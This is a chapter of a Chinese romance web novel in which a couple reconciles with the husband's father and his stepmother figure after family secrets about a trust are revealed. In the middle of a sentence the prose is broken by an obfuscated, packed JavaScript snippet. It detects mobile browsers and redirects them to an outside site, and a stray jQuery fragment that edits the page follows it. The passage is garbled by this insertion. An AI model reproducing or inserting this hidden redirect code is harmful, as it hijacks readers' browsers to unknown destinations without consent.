137. 和解
作品:《风闻绯事》 江知渺醒来时,身边的位置已经空了。
她捞起手机看了一眼,“10:18”的时间下面,是来自邵聿和梁栖月的两条消息。
「早餐在餐桌上,记得吃,不要为了减肥就不吃饭。晚上七点下班,我们去外面吃吧,看看你想吃什么?」
面带笑意读完这段话,她又往上翻了翻聊天记录,这才发现,原来昨天晚上十二点多她睡着之后,邵聿又给她拍的那张照片回了一句:
「记得每天都要看我。」
什么嘛,这种自恋的话怎么说得出口的?江知渺腹诽道,关掉了他的消息框。
梁栖月带来的消息就没有那么乐观了:
「瀚海艺娱那边没有消息,打电话就说是在开会。」
看来昨晚爽约真的触到了唐朔的霉头,再想吸引对方进入她铺设的陷阱,恐怕没那么容易。
不过唐朔昨天的态度也并非油盐不进,至少合作意向比较强烈。
她决定等金视奖颁奖典礼结束、与AURA的合作官宣后,再去试试。
回完梁栖月的消息,她伸了个懒腰,慢吞吞地洗漱完,又把家里打扫了一遍,时间才刚到中午。
她最不习惯的就是闲下来,如今无事可做,江知渺立刻就觉得无聊起来。
拿起手机时,她随手碰到了通话记录,其中的一个名字让她的眼睛亮了一下,突然就没那么百无聊赖了。
她当机立断,飞快套上外衣围巾帽子口罩,抓起车钥匙,直奔超市。
邵聿从演播室出来就看到了江知渺的消息,回家前也做足了心理准备,可推开门,屋内热腾腾的气氛开始让他停滞在门口,近乡情怯似的犹豫起来。
“你回来啦?”江知渺及时出来解救了他,她还系着围裙,一头长发也扎了起来。
“爸他们也刚到,你们坐一会儿,十分钟后烤鸡就好了。”
邵聿迈过玄关,沙发上一位白发苍苍的老人正在看新闻,因为侧脸对着进门的方向,加上耳背的原因,等到他走近了,老人才注意到。
“爸。”
邵永泽严肃地将他上下打量了一圈,点点头,“先去洗手吧,收拾完帮知渺准备晚饭。”
“不用,爸,就差最后一道菜了,有邢姨帮我呢。”江知渺一直听着客厅的动静,赶紧探出头来对他们说。
邵聿换完休闲衣物,卸了妆,匆匆赶到厨房,江知渺已经打开烤箱,烤鸡的香气瞬间萦绕在整个屋子里。
她凑上前去闻了一下,“好香啊……”
邵聿从她手里接过手套,“我端吧,小心烫。”
所有饭菜上桌,邵永泽坐在邢颂对面,其他人都等着他说点什么,他却没有给这顿难得和谐的晚餐赋予什么重大的开场吧,只说了一句“吃吧”,仿佛这只是一次平凡普通的家庭聚会。
江知渺不动声色地用手肘戳了戳邵聿,往邵永泽的方向使了个眼神。
他心领神会,主动用刀叉将烤鸡拆分好,夹了一只鸡腿放到邵永泽碗里。
“爸,您趁热吃。”
准备坐下时,邵永泽突然抬起头看向他。
他已经太久没有仔细看过自己的父亲了,在他印象中,邵永泽的眼神永远如刀剑般锋利,看到谁都要令对方退避三舍。
可现在,这双眼睛因为患上白内障的缘故,眼球十分浑浊,看人时目光总是非常涣散,像是在茫然地寻求答案。
邵聿手一抖,叉子在瓷盘上划出一阵刺耳的声响。
他低下头,又夹了一块烤鸡,放到邢颂的碗中。
从母亲去世起,他就不屑与这个女人沾边,仿佛看一眼都要脏了他的灵魂。
儿时他对邢颂非常熟悉,父亲不常回家,母亲和邢颂总是一起带他出去玩。
母亲性格比较内敛,反而是邢颂心思活跃,变着法儿的带他去坐过山车,给他买许多好看的新衣服,拉着他们母女俩到各地游玩。
然而面前这个头发花白、因为情绪激动而全身都在颤抖的女人,与当年那个风华正茂的邢颂,已经完全无法联系到一起了。
“邢姨,对不起,让您受委屈了。”
他自己也有些哽咽,江知渺从背后拉了拉他的衣角,温柔的笑意给了他继续说下去的勇气。
“我不该误会您和父亲……”
怕自己临阵逃脱,他干脆双手死死地扣住桌子边缘。
听到这句话,邢颂还是忍不住,捂住嘴哭出了声。
“我去趟洗手间。”她踉踉跄跄地离开餐桌,留下他们三人在沉寂中,面对一桌丰盛的晚餐。
邵聿从未像现在这样觉得自己像个天大的傻瓜,两天前江知渺把邢颂和母亲的真相告诉他,他才发现,他自诩懂得什么是爱,以为掌握了无数确凿的证据,到头来却都是胡思乱想。
险些让恨意吞没自己的同时,还伤害了真正爱护他的家人。
安家没落后,母亲嫁入邵家,安氏也被邵氏吞并。
可人的欲望是不会被一口吞下的,安家原来那些从公司里攫取巨额利益的旁支,自然不会束手就擒。
母亲在世时,他们就经常来“拜访”她,甚至跑到邵氏集团楼下大闹,要求获得邵氏的股份和分红。
对于这些无赖,混迹商场多年的邵永泽当然有得是法子应对,然而那些人到底姓安,顾虑到妻子的处境和体面,他始终保持着最低限度的忍让。
母亲很早便意识到了这一点,她拒绝出席邵氏的任何活动,拒绝与邵永泽出席同一个场合,把自己的存在感降到最低,都是为了切断安家与邵家的联系。
她原以为,安家人发现她在邵家其实根本不受重视,邵永泽不给她面子,根本不可能通过她接近邵氏的财富后,就会悻悻离去了。
但就在那时,她发现自己得了癌症,而且更可怕的是,那些人开始给邵聿送生日礼物。
一年比一年多的礼盒,一年比一年昂贵的玩具,从限量版变形金刚到最先进的小型无人机,邵聿十一岁那年,礼物摆满了邵家别墅的储物间。
她彻底明白了,随着邵聿一天天长大,这些人的贪婪又找到了新的寄生。
他的身上流着一半安家的血脉,假以时日,作为邵永泽唯一的继承人,等到邵聿接手邵氏,在他还未站稳脚跟之际,他们便可以趁虚而入,以“家人”关照晚辈的名义,掠夺财富和地位。
也就是在那时,他的母亲开始筹划自己的身后事。
她用自己从父亲那里继承的财富建立了一个信托,并祈求邢颂代她掌管她在邵氏的股权。
“安安哭着跪在我面前,拜托我照顾好邵聿,让他健康长大,千万不要沾上安家的吸血鬼。她问我可不可以相信我,把她的股权都交给我,等小聿大学毕业,再交到他的手上。到时候是继承公司还是有其他人生规划都可以,只要他能平安顺遂地过完一生,不要像她一样,一辈子都是傀儡,永远无法掌控自己的命运……”
江知渺给他转述邢颂的话时,他定定地站着,手脚已经变得冰冷,好像在冰天雪地里走了一天一夜,连牙齿都在打颤。
“小聿那时才十二岁,从小生活在无忧无虑的环境里,我担心这些事告诉他,会给他的心灵造成太大负担,所以就没说。”
“后来他误会我,我也能理解。毕竟安安刚走,我就进了邵氏,很多事又是直接向邵总汇报,在外人看来的确像个背叛朋友的女人。”
“安安走得早,邵总一直心里有愧。他从我这里了解到安安的规划,决心要帮她实现最后的夙愿。”
“他让我当部门总经理的时候我拒绝了,他跟我说,这不是在感谢我,而是在帮他。因为安安最放不下的就是小聿,既然她放心把自己的股权都交给我,那么他一定要让我进公司,代表安安,维护小聿的权利,这也算是他对安安的交代,尽管他欠她的根本还不清。”
邵聿颓然地捂住脸,江知渺的台词功底让这字字句句都带着邢颂的语气,理智上他比谁都清楚这的确是真的,可是情感上他却比谁都难以接受。
“既然如此,他们为什么从来都不告诉我!”他猛地把手甩开,痛苦地问道:“自己扮演伟大的长辈,默默承受一切误解,看着我像跳梁小丑一样,对
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17209560|171696||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他们恨之入骨,难道这就是他偿还我母亲的方式吗!”
“邢姨说,与其让你不理解自己的父母,不如让你恨她,这样你至少不会怀疑,世界上究竟有没有真爱。”
“你被警方传唤那天,爸曾经来过咱们家,他跟我说了一句话,直到现在我才明白。”
江知渺拉着他的手,让他倚靠在自己的肩膀上,像哄孩童睡觉那样,轻轻拍着。
“他说:我和安安原本站得很近,可惜我们一生都在向后退,所以渐行渐远,我不想让小聿步我们的后尘。”
她无声地笑了笑,低声说:“邵聿,往前走吧,前方总会有路的。”
他当然设想过,假如他所坚信的“父亲对不起母亲”的理论不成立,他们其实非常相爱,那会得出怎样的结论。
不过很快他就放弃了:两个相爱的人,又怎会走到这个境地呢?
倘若让这个设想存续,那不就意味着,所谓的真爱也不过是一地鸡毛吗?
在这个复杂的难题面前,他转向了另一个简单的答案:
因为邢颂的存在,曾经相爱的两个人,才会如此疏离。
这个答案安抚了幼年丧母的他,也安抚了违背父命放弃家业的他。
似乎所有无法回答的问题,都能用“背叛”二字完美回避。
直到他自己也在爱里变得面目全非。
江知渺召开记者会的消息他是从别人口中听说的,当时他正坐在警察局的大厅里,等着马政阳出来,他要见一见修茂德。
“哎,江知渺居然要回应了!”
“这种事怎么回应啊,编了个假白富美的身份,不就是骗人吗?”
“还有她跟那个导演,那导演那么帮她,谁知道他俩是不是有一腿。”
“说起来最近江知渺的绯闻也是够刺激的,先是柏霆宇,又是修茂德,也不知道她老公怎么这么能忍,一直没吭声。”
“害,他们这些人,哪儿有什么真爱啊,不都是各玩各的,凑合过呗,还能离咋的?”
周围一阵哄堂大笑后,邵聿麻木地掏出手机,确认了他们说的消息。
他的第一反应就是到她身边去,不假思索地飞奔出警察局。
冷风一吹,他冷静了下来,愣愣地站在门口。
他真的要去吗?
她真的需要他出现吗?
他去了要做什么呢?
分明是世界上最亲密的两个人,他却比任何人都束手束脚。
或许是方才路人的话太过直白,让他卸下了一直设防的思绪,他第一次开始思考失去她的生活,会是什么样子——
公众眼中江知渺会恢复单身,她与其他男演员的绯闻会成倍增多,或许就在某一部剧里因戏生情,无论是谁,她身边的那个位置都不再是邵聿这个名字。
他成了十几亿观众中的普通一员,只有在屏幕上才能窥见她的一颦一笑。
为了多了解一些她的近况和她的私生活,他只得从狗仔的偷拍或是私生饭那里获得蛛丝马迹。
然后从她看向别人的眼神,分析她与谁亲近,喜欢谁,关心谁,对谁有好感。
可一旦关掉屏幕,她和他,就还是哪怕勉强也不会再有一丝联系的两个人。
邵聿瞬间冒出一头冷汗。
他开始踩下油门,直奔记者会的地点。
或许他们两个未来依旧是一个屋檐下的陌生人,但至少,还有同一个屋檐。
他的嫉妒猜忌百转千回,或许会引起她的厌恶,但至少,他还在她的心里。
他们还会在这段婚姻中背负着重担苦苦前进,但至少,那是她和他的婚姻。
哪怕他们之间的爱变得苟延残喘,不,哪怕他们之间没有爱——
他也要和她一起,站在记者面前。
至少,那是作为她丈夫的特权。
品尝过爱的苦果,他才明白,爱从来不是光风霁月。
可假如他从未对爱有过美好憧憬,他也不会相信这就是爱。
原来,他眼中父母这场堪称灾难的婚姻,从来不曾褪色过。

